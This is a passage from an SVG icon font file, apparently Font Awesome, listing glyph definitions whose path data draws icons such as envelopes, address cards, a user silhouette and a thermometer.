q0 -38 6 -114q-10 -2 -15 -2q-11 0 -31.5 8t-30.5 8q-20 0 -37.5 -12.5t-17.5 -32.5q0 -21 19.5 -35.5t42.5 -20.5t42.5 -17t19.5 -26q0 -11 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -47 138 -69q2 -5 6 -26t11 -30.5t23 -9.5q13 0 38.5 5t38.5 5q35 0 67.5 -15
t54.5 -32.5t57.5 -32.5t76.5 -15q43 0 79 15t57.5 32.5t54 32.5t67.5 15q13 0 39 -4.5t39 -4.5q15 0 22.5 9.5t11.5 31t5 24.5q138 22 138 69zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2AE" unicode="&#xf2ae;" horiz-adv-x="2304" 
d="M2304 1536q-69 -46 -125 -92t-89 -81t-59.5 -71.5t-37.5 -57.5t-22 -44.5t-14 -29.5q-10 -18 -35.5 -136.5t-48.5 -164.5q-15 -29 -50 -60.5t-67.5 -50.5t-72.5 -41t-48 -28q-47 -31 -151 -231q-341 14 -630 -158q-92 -53 -303 -179q47 16 86 31t55 22l15 7
q71 27 163 64.5t133.5 53.5t108 34.5t142.5 31.5q186 31 465 -7q1 0 10 -3q11 -6 14 -17t-3 -22l-194 -345q-15 -29 -47 -22q-128 24 -354 24q-146 0 -402 -44.5t-392 -46.5q-82 -1 -149 13t-107 37t-61 40t-33 34l-1 1v2q0 6 6 6q138 0 371 55q192 366 374.5 524t383.5 158
q5 0 14.5 -0.5t38 -5t55 -12t61.5 -24.5t63 -39.5t54 -59t40 -82.5l102 177q2 4 21 42.5t44.5 86.5t61 109.5t84 133.5t100.5 137q66 82 128 141.5t121.5 96.5t92.5 53.5t88 39.5z" />
    <glyph glyph-name="uniF2B0" unicode="&#xf2b0;" 
d="M1322 640q0 -45 -5 -76l-236 14l224 -78q-19 -73 -58 -141l-214 103l177 -158q-44 -61 -107 -108l-157 178l103 -215q-61 -37 -140 -59l-79 228l14 -240q-38 -6 -76 -6t-76 6l14 238l-78 -226q-74 19 -140 59l103 215l-157 -178q-59 43 -108 108l178 158l-214 -104
q-39 69 -58 141l224 79l-237 -14q-5 42 -5 76q0 35 5 77l238 -14l-225 79q19 73 58 140l214 -104l-177 159q46 61 107 108l158 -178l-103 215q67 39 140 58l77 -224l-13 236q36 6 75 6q38 0 76 -6l-14 -237l78 225q74 -19 140 -59l-103 -214l158 178q61 -47 107 -108
l-177 -159l213 104q37 -62 58 -141l-224 -78l237 14q5 -31 5 -77zM1352 640q0 160 -78.5 295.5t-213 214t-292.5 78.5q-119 0 -227 -46.5t-186.5 -125t-124.5 -187.5t-46 -229q0 -119 46 -228t124.5 -187.5t186.5 -125t227 -46.5q158 0 292.5 78.5t213 214t78.5 294.5z
M1425 1023v-766l-657 -383l-657 383v766l657 383zM768 -183l708 412v823l-708 411l-708 -411v-823zM1536 1088v-896l-768 -448l-768 448v896l768 448z" />
    <glyph glyph-name="uniF2B1" unicode="&#xf2b1;" horiz-adv-x="1664" 
d="M339 1318h691l-26 -72h-665q-110 0 -188.5 -79t-78.5 -189v-771q0 -95 60.5 -169.5t153.5 -93.5q23 -5 98 -5v-72h-45q-140 0 -239.5 100t-99.5 240v771q0 140 99.5 240t239.5 100zM1190 1536h247l-482 -1294q-23 -61 -40.5 -103.5t-45 -98t-54 -93.5t-64.5 -78.5
t-79.5 -65t-95.5 -41t-116 -18.5v195q163 26 220 182q20 52 20 105q0 54 -20 106l-285 733h228l187 -585zM1664 978v-1111h-795q37 55 45 73h678v1038q0 85 -49.5 155t-129.5 99l25 67q101 -34 163.5 -123.5t62.5 -197.5z" />
    <glyph glyph-name="uniF2B2" unicode="&#xf2b2;" horiz-adv-x="1792" 
d="M852 1227q0 -29 -17 -52.5t-45 -23.5t-45 23.5t-17 52.5t17 52.5t45 23.5t45 -23.5t17 -52.5zM688 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50 -21.5t-20 -51.5v-114q0 -30 20.5 -52t49.5 -22q30 0 50.5 22t20.5 52zM860 -149v114q0 30 -20 51.5t-50 21.5t-50.5 -21.5
t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22q29 0 49.5 22t20.5 52zM1034 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1208 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114
q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1476 535q-84 -160 -232 -259.5t-323 -99.5q-123 0 -229.5 51.5t-178.5 137t-113 197.5t-41 232q0 88 21 174q-104 -175 -104 -390q0 -162 65 -312t185 -251q30 57 91 57q56 0 86 -50q32 50 87 50q56 0 86 -50q32 50 87 50t87 -50
q30 50 86 50q28 0 52.5 -15.5t37.5 -40.5q112 94 177 231.5t73 287.5zM1326 564q0 75 -72 75q-17 0 -47 -6q-95 -19 -149 -19q-226 0 -226 243q0 86 30 204q-83 -127 -83 -275q0 -150 89 -260.5t235 -110.5q111 0 210 70q13 48 13 79zM884 1223q0 50 -32 89.5t-81 39.5
t-81 -39.5t-32 -89.5q0 -51 31.5 -90.5t81.5 -39.5t81.5 39.5t31.5 90.5zM1513 884q0 96 -37.5 179t-113 137t-173.5 54q-77 0 -149 -35t-127 -94q-48 -159 -48 -268q0 -104 45.5 -157t147.5 -53q53 0 142 19q36 6 53 6q51 0 77.5 -28t26.5 -80q0 -26 -4 -46
q75 68 117.5 165.5t42.5 200.5zM1792 667q0 -111 -33.5 -249.5t-93.5 -204.5q-58 -64 -195 -142.5t-228 -104.5l-4 -1v-114q0 -43 -29.5 -75t-72.5 -32q-56 0 -86 50q-32 -50 -87 -50t-87 50q-30 -50 -86 -50q-55 0 -87 50q-30 -50 -86 -50q-47 0 -75 33.5t-28 81.5
q-90 -68 -198 -68q-118 0 -211 80q54 1 106 20q-113 31 -182 127q32 -7 71 -7q89 0 164 46q-192 192 -240 306q-24 56 -24 160q0 57 9 125.5t31.5 146.5t55 141t86.5 105t120 42q59 0 81 -52q19 29 42 54q2 3 12 13t13 16q10 15 23 38t25 42t28 39q87 111 211.5 177
t260.5 66q35 0 62 -4q59 64 146 64q83 0 140 -57q5 -5 5 -12q0 -5 -6 -13.5t-12.5 -16t-16 -17l-10.5 -10.5q17 -6 36 -18t19 -24q0 -6 -16 -25q157 -138 197 -378q25 30 60 30q45 0 100 -49q90 -80 90 -279z" />
    <glyph glyph-name="uniF2B3" unicode="&#xf2b3;" 
d="M917 631q0 33 -6 64h-362v-132h217q-12 -76 -74.5 -120.5t-142.5 -44.5q-99 0 -169 71.5t-70 170.5t70 170.5t169 71.5q93 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585h109v110
h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="uniF2B4" unicode="&#xf2b4;" 
d="M1536 1024v-839q0 -48 -49 -62q-174 -52 -338 -52q-73 0 -215.5 29.5t-227.5 29.5q-164 0 -370 -48v-338h-160v1368q-63 25 -101 81t-38 124q0 91 64 155t155 64t155 -64t64 -155q0 -68 -38 -124t-101 -81v-68q190 44 343 44q99 0 198 -15q14 -2 111.5 -22.5t149.5 -20.5
q77 0 165 18q11 2 80 21t89 19q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B5" unicode="&#xf2b5;" horiz-adv-x="2304" 
d="M192 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32zM1665 442q-10 13 -38.5 50t-41.5 54t-38 49t-42.5 53t-40.5 47t-45 49l-125 -140q-83 -94 -208.5 -92t-205.5 98q-57 69 -56.5 158t58.5 157l177 206q-22 11 -51 16.5t-47.5 6t-56.5 -0.5t-49 -1q-92 0 -158 -66
l-158 -158h-155v-544q5 0 21 0.5t22 0t19.5 -2t20.5 -4.5t17.5 -8.5t18.5 -13.5l297 -292q115 -111 227 -111q78 0 125 47q57 -20 112.5 8t72.5 85q74 -6 127 44q20 18 36 45.5t14 50.5q10 -10 43 -10q43 0 77 21t49.5 53t12 71.5t-30.5 73.5zM1824 384h96v512h-93l-157 180
q-66 76 -169 76h-167q-89 0 -146 -67l-209 -243q-28 -33 -28 -75t27 -75q43 -51 110 -52t111 49l193 218q25 23 53.5 21.5t47 -27t8.5 -56.5q16 -19 56 -63t60 -68q29 -36 82.5 -105.5t64.5 -84.5q52 -66 60 -140zM2112 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32z
M2304 960v-640q0 -26 -19 -45t-45 -19h-434q-27 -65 -82 -106.5t-125 -51.5q-33 -48 -80.5 -81.5t-102.5 -45.5q-42 -53 -104.5 -81.5t-128.5 -24.5q-60 -34 -126 -39.5t-127.5 14t-117 53.5t-103.5 81l-287 282h-358q-26 0 -45 19t-19 45v672q0 26 19 45t45 19h421
q14 14 47 48t47.5 48t44 40t50.5 37.5t51 25.5t62 19.5t68 5.5h117q99 0 181 -56q82 56 181 56h167q35 0 67 -6t56.5 -14.5t51.5 -26.5t44.5 -31t43 -39.5t39 -42t41 -48t41.5 -48.5h355q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B6" unicode="&#xf2b6;" horiz-adv-x="1792" 
d="M1792 882v-978q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v978q0 15 11 24q8 7 39 34.5t41.5 36t45.5 37.5t70 55.5t96 73t143.5 107t192.5 140.5q5 4 52.5 40t71.5 52.5t64 35t69 18.5t69 -18.5t65 -35.5t71 -52t52 -40q110 -80 192.5 -140.5t143.5 -107
t96 -73t70 -55.5t45.5 -37.5t41.5 -36t39 -34.5q11 -9 11 -24zM1228 297q263 191 345 252q11 8 12.5 20.5t-6.5 23.5l-38 52q-8 11 -21 12.5t-24 -6.5q-231 -169 -343 -250q-5 -3 -52 -39t-71.5 -52.5t-64.5 -35t-69 -18.5t-69 18.5t-64.5 35t-71.5 52.5t-52 39
q-186 134 -343 250q-11 8 -24 6.5t-21 -12.5l-38 -52q-8 -11 -6.5 -23.5t12.5 -20.5q82 -61 345 -252q10 -8 50 -38t65 -47t64 -39.5t77.5 -33.5t75.5 -11t75.5 11t79 34.5t64.5 39.5t65 47.5t48 36.5z" />
    <glyph glyph-name="uniF2B7" unicode="&#xf2b7;" horiz-adv-x="1792" 
d="M1474 623l39 -51q8 -11 6.5 -23.5t-11.5 -20.5q-43 -34 -126.5 -98.5t-146.5 -113t-67 -51.5q-39 -32 -60 -48t-60.5 -41t-76.5 -36.5t-74 -11.5h-1h-1q-37 0 -74 11.5t-76 36.5t-61 41.5t-60 47.5q-5 4 -65 50.5t-143.5 111t-122.5 94.5q-11 8 -12.5 20.5t6.5 23.5
l37 52q8 11 21.5 13t24.5 -7q94 -73 306 -236q5 -4 43.5 -35t60.5 -46.5t56.5 -32.5t58.5 -17h1h1q24 0 58.5 17t56.5 32.5t60.5 46.5t43.5 35q258 198 313 242q11 8 24 6.5t21 -12.5zM1664 -96v928q-90 83 -159 139q-91 74 -389 304q-3 2 -43 35t-61 48t-56 32.5t-59 17.5
h-1h-1q-24 0 -59 -17.5t-56 -32.5t-61 -48t-43 -35q-215 -166 -315.5 -245.5t-129.5 -104t-82 -74.5q-14 -12 -21 -19v-928q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 832v-928q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v928q0 56 41 94
q123 114 350 290.5t233 181.5q36 30 59 47.5t61.5 42t76 36.5t74.5 12h1h1q37 0 74.5 -12t76 -36.5t61.5 -42t59 -47.5q43 -36 156 -122t226 -177t201 -173q41 -38 41 -94z" />
    <glyph glyph-name="uniF2B8" unicode="&#xf2b8;" 
d="M330 1l202 -214l-34 236l-216 213zM556 -225l274 218l-11 245l-300 -215zM245 413l227 -213l-48 327l-245 204zM495 189l317 214l-14 324l-352 -200zM843 178l95 -80l-2 239l-103 79q0 -1 1 -8.5t0 -12t-5 -7.5l-78 -52l85 -70q7 -6 7 -88zM138 930l256 -200l-68 465
l-279 173zM1173 267l15 234l-230 -164l2 -240zM417 722l373 194l-19 441l-423 -163zM1270 357l20 233l-226 142l-2 -105l144 -95q6 -4 4 -9l-7 -119zM1461 496l30 222l-179 -128l-20 -228zM1273 329l-71 49l-8 -117q0 -5 -4 -8l-234 -187q-7 -5 -14 0l-98 83l7 -161
q0 -5 -4 -8l-293 -234q-4 -2 -6 -2q-8 2 -8 3l-228 242q-4 4 -59 277q-2 7 5 11l61 37q-94 86 -95 92l-72 351q-2 7 6 12l94 45q-133 100 -135 108l-96 466q-2 10 7 13l433 135q5 0 8 -1l317 -153q6 -4 6 -9l20 -463q0 -7 -6 -10l-118 -61l126 -85q5 -2 5 -8l5 -123l121 74
q5 4 11 0l84 -56l3 110q0 6 5 9l206 126q6 3 11 0l245 -135q4 -4 5 -7t-6.5 -60t-17.5 -124.5t-10 -70.5q0 -5 -4 -7l-191 -153q-6 -5 -13 0z" />
    <glyph glyph-name="uniF2B9" unicode="&#xf2b9;" horiz-adv-x="1664" 
d="M1201 298q0 57 -5.5 107t-21 100.5t-39.5 86t-64 58t-91 22.5q-6 -4 -33.5 -20.5t-42.5 -24.5t-40.5 -20t-49 -17t-46.5 -5t-46.5 5t-49 17t-40.5 20t-42.5 24.5t-33.5 20.5q-51 0 -91 -22.5t-64 -58t-39.5 -86t-21 -100.5t-5.5 -107q0 -73 42 -121.5t103 -48.5h576
q61 0 103 48.5t42 121.5zM1028 892q0 108 -76.5 184t-183.5 76t-183.5 -76t-76.5 -184q0 -107 76.5 -183t183.5 -76t183.5 76t76.5 183zM1664 352v-192q0 -14 -9 -23t-23 -9h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216
q66 0 113 -47t47 -113v-224h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23z" />
    <glyph glyph-name="uniF2BA" unicode="&#xf2ba;" horiz-adv-x="1664" 
d="M1028 892q0 -107 -76.5 -183t-183.5 -76t-183.5 76t-76.5 183q0 108 76.5 184t183.5 76t183.5 -76t76.5 -184zM980 672q46 0 82.5 -17t60 -47.5t39.5 -67t24 -81t11.5 -82.5t3.5 -79q0 -67 -39.5 -118.5t-105.5 -51.5h-576q-66 0 -105.5 51.5t-39.5 118.5q0 48 4.5 93.5
t18.5 98.5t36.5 91.5t63 64.5t93.5 26h5q7 -4 32 -19.5t35.5 -21t33 -17t37 -16t35 -9t39.5 -4.5t39.5 4.5t35 9t37 16t33 17t35.5 21t32 19.5zM1664 928q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96
q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216q66 0 113 -47t47 -113v-224h96q13 0 22.5 -9.5t9.5 -22.5v-192zM1408 -96v1472q0 13 -9.5 22.5t-22.5 9.5h-1216
q-13 0 -22.5 -9.5t-9.5 -22.5v-1472q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5z" />
    <glyph glyph-name="uniF2BB" unicode="&#xf2bb;" horiz-adv-x="2048" 
d="M1024 405q0 64 -9 117.5t-29.5 103t-60.5 78t-97 28.5q-6 -4 -30 -18t-37.5 -21.5t-35.5 -17.5t-43 -14.5t-42 -4.5t-42 4.5t-43 14.5t-35.5 17.5t-37.5 21.5t-30 18q-57 0 -97 -28.5t-60.5 -78t-29.5 -103t-9 -117.5t37 -106.5t91 -42.5h512q54 0 91 42.5t37 106.5z
M867 925q0 94 -66.5 160.5t-160.5 66.5t-160.5 -66.5t-66.5 -160.5t66.5 -160.5t160.5 -66.5t160.5 66.5t66.5 160.5zM1792 416v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1792 676v56q0 15 -10.5 25.5t-25.5 10.5h-568
q-15 0 -25.5 -10.5t-10.5 -25.5v-56q0 -15 10.5 -25.5t25.5 -10.5h568q15 0 25.5 10.5t10.5 25.5zM1792 928v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-352v96q0 14 -9 23t-23 9
h-64q-14 0 -23 -9t-9 -23v-96h-768v96q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-96h-352q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BC" unicode="&#xf2bc;" horiz-adv-x="2048" 
d="M1024 405q0 -64 -37 -106.5t-91 -42.5h-512q-54 0 -91 42.5t-37 106.5t9 117.5t29.5 103t60.5 78t97 28.5q6 -4 30 -18t37.5 -21.5t35.5 -17.5t43 -14.5t42 -4.5t42 4.5t43 14.5t35.5 17.5t37.5 21.5t30 18q57 0 97 -28.5t60.5 -78t29.5 -103t9 -117.5zM867 925
q0 -94 -66.5 -160.5t-160.5 -66.5t-160.5 66.5t-66.5 160.5t66.5 160.5t160.5 66.5t160.5 -66.5t66.5 -160.5zM1792 480v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1792 732v-56q0 -15 -10.5 -25.5t-25.5 -10.5h-568
q-15 0 -25.5 10.5t-10.5 25.5v56q0 15 10.5 25.5t25.5 10.5h568q15 0 25.5 -10.5t10.5 -25.5zM1792 992v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1920 32v1216q0 13 -9.5 22.5t-22.5 9.5h-1728q-13 0 -22.5 -9.5
t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h352v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h768v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h352q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113
t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BD" unicode="&#xf2bd;" horiz-adv-x="1792" 
d="M1523 197q-22 155 -87.5 257.5t-184.5 118.5q-67 -74 -159.5 -115.5t-195.5 -41.5t-195.5 41.5t-159.5 115.5q-119 -16 -184.5 -118.5t-87.5 -257.5q106 -150 271 -237.5t356 -87.5t356 87.5t271 237.5zM1280 896q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5
t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1792 640q0 -182 -71 -347.5t-190.5 -286t-285.5 -191.5t-349 -71q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2BE" unicode="&#xf2be;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348q0 -181 -70.5 -347t-190.5 -286t-286 -191.5t-349 -71.5t-349 71t-285.5 191.5t-190.5 286t-71 347.5t71 348t191 286t286 191t348 71zM1515 185q149 205 149 455q0 156 -61 298t-164 245t-245 164t-298 61t-298 -61
t-245 -164t-164 -245t-61 -298q0 -250 149 -455q66 327 306 327q131 -128 313 -128t313 128q240 0 306 -327zM1280 832q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5z" />
    <glyph glyph-name="uniF2C0" unicode="&#xf2c0;" 
d="M1201 752q47 -14 89.5 -38t89 -73t79.5 -115.5t55 -172t22 -236.5q0 -154 -100 -263.5t-241 -109.5h-854q-141 0 -241 109.5t-100 263.5q0 131 22 236.5t55 172t79.5 115.5t89 73t89.5 38q-79 125 -79 272q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5
t198.5 -40.5t163.5 -109.5t109.5 -163.5t40.5 -198.5q0 -147 -79 -272zM768 1408q-159 0 -271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5zM1195 -128q88 0 150.5 71.5t62.5 173.5q0 239 -78.5 377t-225.5 145
q-145 -127 -336 -127t-336 127q-147 -7 -225.5 -145t-78.5 -377q0 -102 62.5 -173.5t150.5 -71.5h854z" />
    <glyph glyph-name="uniF2C1" unicode="&#xf2c1;" horiz-adv-x="1280" 
d="M1024 278q0 -64 -37 -107t-91 -43h-512q-54 0 -91 43t-37 107t9 118t29.5 104t61 78.5t96.5 28.5q80 -75 188 -75t188 75q56 0 96.5 -28.5t61 -78.5t29.5 -104t9 -118zM870 797q0 -94 -67.5 -160.5t-162.5 -66.5t-162.5 66.5t-67.5 160.5t67.5 160.5t162.5 66.5
t162.5 -66.5t67.5 -160.5zM1152 -96v1376h-1024v-1376q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1280 1376v-1472q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h352v-96q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v96h352
q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C2" unicode="&#xf2c2;" horiz-adv-x="2048" 
d="M896 324q0 54 -7.5 100.5t-24.5 90t-51 68.5t-81 25q-64 -64 -156 -64t-156 64q-47 0 -81 -25t-51 -68.5t-24.5 -90t-7.5 -100.5q0 -55 31.5 -93.5t75.5 -38.5h426q44 0 75.5 38.5t31.5 93.5zM768 768q0 80 -56 136t-136 56t-136 -56t-56 -136t56 -136t136 -56t136 56
t56 136zM1792 288v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1408 544v64q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1792 544v64q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23
v-64q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1792 800v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM128 1152h1792v96q0 14 -9 23t-23 9h-1728q-14 0 -23 -9t-9 -23v-96zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728
q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C3" unicode="&#xf2c3;" horiz-adv-x="2048" 
d="M896 324q0 -55 -31.5 -93.5t-75.5 -38.5h-426q-44 0 -75.5 38.5t-31.5 93.5q0 54 7.5 100.5t24.5 90t51 68.5t81 25q64 -64 156 -64t156 64q47 0 81 -25t51 -68.5t24.5 -90t7.5 -100.5zM768 768q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z
M1792 352v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1408 608v-64q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h320q14 0 23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 864v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1920 32v1120h-1792v-1120q0 -13 9.5 -22.5t22.5 -9.5h1728q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47
h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C4" unicode="&#xf2c4;" horiz-adv-x="1792" 
d="M1255 749q0 318 -105 474.5t-330 156.5q-222 0 -326 -157t-104 -474q0 -316 104 -471.5t326 -155.5q74 0 131 17q-22 43 -39 73t-44 65t-53.5 56.5t-63 36t-77.5 14.5q-46 0 -79 -16l-49 97q105 91 276 91q132 0 215.5 -54t150.5 -155q67 149 67 402zM1645 117h117
q3 -27 -2 -67t-26.5 -95t-58 -100.5t-107 -78t-162.5 -32.5q-71 0 -130.5 19t-105.5 56t-79 78t-66 96q-97 -27 -205 -27q-150 0 -292.5 58t-253 158.5t-178 249t-67.5 317.5q0 170 67.5 319.5t178.5 250.5t253.5 159t291.5 58q121 0 238.5 -36t217 -106t176 -164.5
t119.5 -219t43 -261.5q0 -190 -80.5 -347.5t-218.5 -264.5q47 -70 93.5 -106.5t104.5 -36.5q61 0 94 37.5t38 85.5z" />
    <glyph glyph-name="uniF2C5" unicode="&#xf2c5;" horiz-adv-x="2304" 
d="M453 -101q0 -21 -16 -37.5t-37 -16.5q-1 0 -13 3q-63 15 -162 140q-225 284 -225 676q0 341 213 614q39 51 95 103.5t94 52.5q19 0 35 -13.5t16 -32.5q0 -27 -63 -90q-98 -102 -147 -184q-119 -199 -119 -449q0 -281 123 -491q50 -85 136 -173q2 -3 14.5 -16t19.5 -21
t17 -20.5t14.5 -23.5t4.5 -21zM1796 33q0 -29 -17.5 -48.5t-46.5 -19.5h-1081q-26 0 -45 19t-19 45q0 29 17.5 48.5t46.5 19.5h1081q26 0 45 -19t19 -45zM1581 644q0 -134 -67 -233q-25 -38 -69.5 -78.5t-83.5 -60.5q-16 -10 -27 -10q-7 0 -15 6t-8 12q0 9 19 30t42 46
t42 67.5t19 88.5q0 76 -35 130q-29 42 -46 42q-3 0 -3 -5q0 -12 7.5 -35.5t7.5 -36.5q0 -22 -21.5 -35t-44.5 -13q-66 0 -66 76q0 15 1.5 44t1.5 44q0 25 -10 46q-13 25 -42 53.5t-51 28.5q-5 0 -7 -0.5t-3.5 -2.5t-1.5 -6q0 -2 16 -26t16 -54q0 -37 -19 -68t-46 -54
t-53.5 -46t-45.5 -54t-19 -68q0 -98 42 -160q29 -43 79 -63q16 -5 17 -10q1 -2 1 -5q0 -16 -18 -16q-6 0 -33 11q-119 43 -195 139.5t-76 218.5q0 55 24.5 115.5t60 115t70.5 108.5t59.5 113.5t24.5 111.5q0 53 -25 94q-29 48 -56 64q-19 9 -19 21q0 20 41 20q50 0 110 -29
q41 -19 71 -44.5t49.5 -51t33.5 -62.5t22 -69t16 -80q0 -1 3 -17.5t4.5 -25t5.5 -25t9 -27t11 -21.5t14.5 -16.5t18.5 -5.5q23 0 37 14t14 37q0 25 -20 67t-20 52t10 10q27 0 93 -70q72 -76 102.5 -156t30.5 -186zM2304 615q0 -274 -138 -503q-19 -32 -48 -72t-68 -86.5
t-81 -77t-74 -30.5q-16 0 -31 15.5t-15 31.5q0 15 29 50.5t68.5 77t48.5 52.5q183 230 183 531q0 131 -20.5 235t-72.5 211q-58 119 -163 228q-2 3 -13 13.5t-16.5 16.5t-15 17.5t-15 20t-9.5 18.5t-4 19q0 19 16 35.5t35 16.5q70 0 196 -169q98 -131 146 -273t60 -314
q2 -42 2 -64z" />
    <glyph glyph-name="uniF2C6" unicode="&#xf2c6;" horiz-adv-x="1792" 
d="M1189 229l147 693q9 44 -10.5 63t-51.5 7l-864 -333q-29 -11 -39.5 -25t-2.5 -26.5t32 -19.5l221 -69l513 323q21 14 32 6q7 -5 -4 -15l-415 -375v0v0l-16 -228q23 0 45 22l108 104l224 -165q64 -36 81 38zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2C7" unicode="&#xf2c7;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v907h128v-907q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C8" unicode="&#xf2c8;" horiz-adv-x="1024" 
